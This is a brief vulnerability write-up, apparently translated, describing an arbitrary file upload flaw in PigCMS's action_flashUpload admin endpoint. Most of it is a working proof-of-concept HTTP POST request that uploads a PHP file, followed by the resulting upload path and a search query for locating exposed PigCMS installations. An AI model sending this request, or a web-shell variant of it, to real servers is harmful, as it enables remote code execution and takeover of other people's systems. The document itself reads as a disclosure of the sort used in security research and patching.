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Pigcms Action_flashupload Any File Upload Vulnerability

Pigcms Action_flashupload Any File Upload Vulnerability

PigCMS action_flashUpload any file upload vulnerability

Vulnerability Description

There is a vulnerability to upload any file in the PigCMS action_flashUpload method. The attacker can upload any file to obtain server permissions through the vulnerability.

Vulnerability Impact

pigcms

Network surveying and mapping

app.name=”PigCMS”

Vulnerability reappears

Login page

img

Verify POC

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POST /cms/manage/admin.php?m=manage&c=background&a=action_flashUpload HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----aaa

------aaa
Content-Disposition: form-data; name="filePath"; filename="test.php"
Content-Type: video/x-flv

<?php phpinfo();?>
------aaa

img

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/cms/upload/images/2023/08/11/1691722887xXbx.php
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